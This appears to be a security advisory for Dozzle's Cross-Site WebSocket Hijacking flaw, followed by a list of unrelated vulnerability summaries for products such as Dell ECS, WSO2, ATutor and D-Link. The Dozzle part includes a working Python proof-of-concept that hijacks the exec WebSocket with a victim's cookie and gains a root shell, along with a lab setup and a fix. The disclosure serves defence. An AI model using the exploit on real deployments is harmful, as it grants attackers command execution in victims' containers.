## Summary The WebSocket upgrader for the `/exec` and `/attach` endpoints uses `CheckOrigin: func(r *http.Request) bool { return true }`, accepting upgrade requests from any origin. Combined with the JWT cookie using `SameSite: Lax`, this enables Cross-Site WebSocket Hijacking (CSWSH) — **even when authentication is properly configured**. An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access. ## Root cause **1. CheckOrigin bypassed (`internal/web/terminal.go:15-21`)** ```go var upgrader = websocket.Upgrader{ ReadBufferSize: 1024, WriteBufferSize: 1024, CheckOrigin: func(r *http.Request) bool { return true }, } ``` The gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return `true` removes the only server-side defense against CSWSH. **2. JWT cookie with SameSite=Lax (`internal/web/auth.go:20-27`)** ```go http.SetCookie(w, &http.Cookie{ Name: "jwt", Value: token, HttpOnly: true, Path: "/", SameSite: http.SameSiteLaxMode, Expires: expires, }) ``` `SameSite` operates at the **site** level (eTLD+1), not the origin level. A page on `evil.example.com` can make a WebSocket request to `dozzle.example.com` and the browser will attach the JWT cookie, because they share the same site (`example.com`). `SameSite=Lax` only blocks cross-**site** requests (different eTLD+1), not cross-**origin** requests within the same site. ## Attack scenario Preconditions: Dozzle is deployed with `--enable-shell` and authentication configured (simple auth). The victim is logged in. 1. Attacker controls a page on the same site (e.g., `attacker.example.com`, or another service on `localhost:8888` while Dozzle is on `localhost:9090`) 2. Victim visits the attacker's page while authenticated to Dozzle 3. Attacker's JavaScript opens `new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec')` 4. Browser sends the JWT cookie (same-site, `SameSite=Lax` allows it) 5. Dozzle's `CheckOrigin` returns `true` — upgrade accepted 6. Auth middleware validates the JWT from the cookie — request authenticated 7. Attacker has a shell in the victim's authorized containers ## PoC (auth enabled) **Setup — Dozzle with authentication + shell:** docker-compose.yml: ```yaml services: dozzle: image: amir20/dozzle:latest ports: - "9090:8080" volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - ./data:/data environment: - DOZZLE_AUTH_PROVIDER=simple - DOZZLE_ENABLE_SHELL=true target: image: alpine:latest command: sh -c "while true; do sleep 3600; done" ``` data/users.yml: ```yaml users: admin: name: Admin # password: admin123 password: "$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS" email: admin@test.local roles: shell ``` **Exploit — CSWSH with cross-origin Origin header + victim's cookie:** ```python import json, time, websocket, requests target = "http://localhost:9090" # Verify auth is enabled r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True) r.close() assert r.status_code == 401, "Auth not enabled" # Victim logs in r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"}) jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0] # Get container info (authenticated) r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10) for line in r.iter_lines(decode_unicode=True): if line and line.startswith("data: "): data = json.loads(line[6:]) if isinstance(data, list) and len(data) > 0 and "host" in data[0]: host_id = data[0]["host"] cid = data[0]["id"] break r.close() # CSWSH: cross-origin WebSocket with victim's cookie ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec" ws = websocket.create_connection( ws_url, timeout=10, cookie=f"jwt={jwt}", origin="http://localhost:8888" # DIFFERENT origin ) # Connected! CheckOrigin:true accepted the cross-origin request ws.send(json.dumps({"type": "resize", "width": 120, "height": 40})) time.sleep(1); ws.recv() ws.send(json.dumps({"type": "userinput", "data": "id\n"})) time.sleep(2) ws.settimeout(2) output = [] try: while True: output.append(ws.recv()) except: pass ws.close() print("".join(output)) # uid=0(root) gid=0(root) groups=0(root) # Verify: without cookie = rejected try: ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888") ws2.close() except Exception as e: print(f"Without cookie: {e}") # 401 Unauthorized ``` **Result:** ``` [+] Auth is ENABLED (events stream returns 401) [+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888 [+] uid=0(root) gid=0(root) groups=0(root) [+] Without cookie -> 401 Unauthorized ``` ## Impact Users who deploy Dozzle with `--enable-shell` and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to: - Execute arbitrary commands in any container the victim has access to - Read secrets, environment variables, and files inside containers - Pivot to other services accessible from the container network - Potentially escape to the Docker host if the socket is mounted writable ## Suggested fix Remove the custom `CheckOrigin` override and use the gorilla/websocket default, which rejects cross-origin requests: ```go var upgrader = websocket.Upgrader{ ReadBufferSize: 1024, WriteBufferSize: 1024, // Default CheckOrigin rejects cross-origin requests } ```

A vulnerability was determined in Open5GS up to 2.7.7. This affects the function gsm_handle_pdu_session_modification_qos_flow_descriptions of the file src/smf/gsm-handler.c of the component SMF. Executing a manipulation of the argument n1SmMsg can lead to denial of service. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.

Due to not validating the organization context when executing adaptive authentication flows, the WSO2 Identity Server allows adaptive authentication logic to be triggered on unintended organizations. A malicious actor with privileges to configure adaptive authentication within one organization can leverage this functionality to execute authentication logic on other organizations and sub-organizations. This flaw allows bypassing authorization boundaries between organizations, leading to unauthorized access to critical operations and user accounts in other organizations. When adaptive authentication is enabled in a multi-organization deployment, a malicious actor with privileges to configure adaptive authentication in one organization could exploit this feature to perform critical operations in other organizations without authorization. This may result in privilege escalation, unauthorized access to resources, and potential account takeover across organizations.

The Magic Link authentication flow accepts multiple invalid authentication requests without adequate rate limiting or resource control, leading to uncontrolled memory usage growth. This vulnerability can result in a denial-of-service condition, causing service unavailability for deployments that utilize the Magic Link authenticator. The impact is limited to these specific deployments and requires repeated invalid authentication attempts to trigger.

ATutor is vulnerable to Reflected XSS in /install/install.php endpoint. An attacker can provide a specially crafted URL that, when opened, results in arbitrary JavaScript execution in the victim's browser. Product is no longer actively supported. Maintainers of this project were notified early about this vulnerability, but did not respond with the details of the vulnerability or vulnerable version range. Only version 2.2.4 was tested and confirmed as vulnerable, other versions were not tested but might also be vulnerable.

ATutor is vulnerable to Reflected XSS in /install/upgrade.php endpoint. An attacker can provide a specially crafted URL that, when opened, results in arbitrary JavaScript execution in the victim's browser. Product is no longer actively supported. Maintainers of this project were notified early about this vulnerability, but did not respond with the details of the vulnerability or vulnerable version range. Only version 2.2.4 was tested and confirmed as vulnerable, other versions were not tested but might also be vulnerable.

Path traversal vulnerability exists in GROWI v7.5.0 and earlier, which may allow an attacker to execute arbitrary EJS templates on the server when an email server is running in GROWI.

Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains a use of hard-coded credentials vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to filesystem access for attacker.

Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains an improper neutralization of formula elements in a CSV File vulnerability in the UI. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution.

Dell Automation Platform versions prior to 2.0.0.0, contains a missing authorization vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.

Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains an improper privilege management vulnerability in the OS. A high privileged attacker with local access could potentially exploit this vulnerability, leading to elevation of privileges.

The software fails to enforce role-based access controls for certain Gateway API invocations. Users with the 'Internal/Everyone' role can invoke these APIs, bypassing intended permission checks. This same vulnerability also affects Internal Service APIs, potentially exposing them in WSO2 APIM 3.x versions. A malicious actor with a valid user account on a vulnerable deployment can perform sensitive operations against the Gateway REST API regardless of their actual roles or privileges. This could lead to unintended behavior or misuse, particularly in production environments.

In Webhook API invocations, the component accepts user-supplied input for HTTP request headers without sufficient validation or sanitization, allowing these headers to be injected into HTTP responses. By exploiting this vulnerability, a malicious actor can inject or overwrite arbitrary HTTP response headers. This can lead to various adverse effects, including the manipulation of browser caching, alteration of security-related headers, and the injection of sensitive information such as cookie values, potentially enabling session hijacking or other malicious activities.

Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains an authentication bypass by assumed-immutable data vulnerability in Geo replication. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access to data in transit.

Due to a lack of user account state validation during authentication, locked user accounts can be successfully authenticated using Magic Link or Pass Key methods. This bypasses the intended security control that should prevent access to accounts that have been locked. This vulnerability may allow unauthorized access to applications and sensitive data associated with accounts that should have been restricted via the account lock mechanism. It also undermines the effectiveness of the account lock mechanism intended to prevent further login attempts.

The check user account lock states feature within the email OTP flow fails to validate user input, allowing an attacker to infer the existence of registered user accounts. The discovery of valid usernames can increase the risk of brute-force and social engineering attacks. Attackers can leverage this information to craft targeted phishing campaigns or other malicious activities aimed at tricking users into divulging sensitive data, potentially damaging the organization's reputation and leading to regulatory non-compliance and financial consequences.

The OpenSearch logging provider, when configured with a `host` URL that embeds credentials (for example `https://user:password@server.example.com:9200`), wrote the full host URL — including the embedded credentials — into task logs. Any user with task-log read permission could harvest the backend credentials. Users are advised to upgrade to `apache-airflow-providers-opensearch` 1.9.1 or later and, as a defense-in-depth measure, configure the backend credentials via a secret backend rather than embedding them in the `[opensearch] host` URL.

The Elasticsearch logging provider, when configured with a `host` URL that embeds credentials (for example `https://user:password@server.example.com:9200`), wrote the full host URL — including the embedded credentials — into task logs. Any user with task-log read permission could harvest the backend credentials. Users are advised to upgrade to `apache-airflow-providers-elasticsearch` 6.5.3 or later and, as a defense-in-depth measure, configure the backend credentials via a secret backend rather than embedding them in the `[elasticsearch] host` URL.

WebDyne::Session versions through 2.075 for Perl generates the session id insecurely. The session handler generates the session id from an MD5 hash seeded with a call to the built-in rand() function. The rand function is passed a maximum value based on the process id, the epoch time and the reference address of the object, but this information will have no effect on the overall quality of the seed of the message digest. The rand function is seeded by 32-bits and is predictable. It is considered unsuitable for cryptographic purposes. Predictable session ids could allow an attacker to gain access to systems. Note that WebDyne::Session versions 1.042 and earlier appear to be in separate distributions from WebDyne.

In the Linux kernel, the following vulnerability has been resolved: rxrpc: Also unshare DATA/RESPONSE packets when paged frags are present The DATA-packet handler in rxrpc_input_call_event() and the RESPONSE handler in rxrpc_verify_response() copy the skb to a linear one before calling into the security ops only when skb_cloned() is true. An skb that is not cloned but still carries externally-owned paged fragments (e.g. SKBFL_SHARED_FRAG set by splice() into a UDP socket via __ip_append_data, or a chained skb_has_frag_list()) falls through to the in-place decryption path, which binds the frag pages directly into the AEAD/skcipher SGL via skb_to_sgvec(). Extend the gate to also unshare when skb_has_frag_list() or skb_has_shared_frag() is true. This catches the splice-loopback vector and other externally-shared frag sources while preserving the zero-copy fast path for skbs whose frags are kernel-private (e.g. NIC page_pool RX, GRO). The OOM/trace handling already in place is reused.

A flaw has been found in bettercap up to 2.41.5. Affected by this issue is some unknown functionality of the file modules/mysql_server/mysql_server.go of the component MySQL Server. Executing a manipulation can lead to integer coercion error. The attack can be launched remotely. The attack requires a high level of complexity. The exploitation is known to be difficult. The exploit has been published and may be used. This patch is called 0eaa375c5e5446bfba94a290eff92967a5deac9e. It is advisable to implement a patch to correct this issue.

A vulnerability was detected in bettercap up to 2.41.5. Affected by this vulnerability is the function ippReadChunkedBody of the file modules/zerogod/zerogod_ipp_primitives.go of the component zerogod IPP Service. Performing a manipulation results in integer coercion error. The attack can be initiated remotely. The attack is considered to have high complexity. The exploitation appears to be difficult. The exploit is now public and may be used. The patch is named 3731d5576cffae9eefe3721cd46a40933304129f. To fix this issue, it is recommended to deploy a patch.

The Custom css-js-php WordPress plugin through 2.0.7 does not properly sanitize user input before using it in a SQL query, and the result is passed to eval(), allowing unauthenticated users to execute arbitrary PHP code on the server.

Zephyr sockets created with `IPPROTO_TLS_1_3` can still negotiate a TLS 1.2 connection when both TLS versions are enabled in Kconfig, because the socket-level protocol selection is not propagated to mbedTLS (e.g. via `mbedtls_ssl_conf_min_tls_version`). The ClientHello advertises both versions and the peer can establish TLS 1.2, so applications that assumed `IPPROTO_TLS_1_3` enforces TLS 1.3 may silently use TLS 1.2 and remain exposed to TLS 1.2-specific weaknesses. As a workaround, the `TLS_CIPHERSUITE_LIST` socket option can be restricted to TLS 1.3-only cipher suites.

A security vulnerability has been detected in npitre cramfs-tools up to 2.1. Affected is the function do_directory of the file cramfsck.c of the component Directory Handler. Such manipulation leads to path traversal. The attack can only be performed from a local environment. The exploit has been disclosed publicly and may be used. Upgrading to version 2.2 is able to address this issue. The name of the patch is 2fc492747115b24d8a07eddd27a2d45229cb273c. Upgrading the affected component is recommended.

A weakness has been identified in D-Link DNS-320 2.06B01. This impacts the function cgi_set_host/cgi_set_ntp/cgi_fan_control/cgi_merge_user of the file /cgi-bin/system_mgr.cgi. This manipulation causes os command injection. It is possible to initiate the attack remotely.

A security flaw has been discovered in D-Link DNS-320 2.06B01. This affects the function delete/rename/copy/move/chmod/chown of the file /cgi-bin/webfile_mgr.cgi. The manipulation results in os command injection. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks.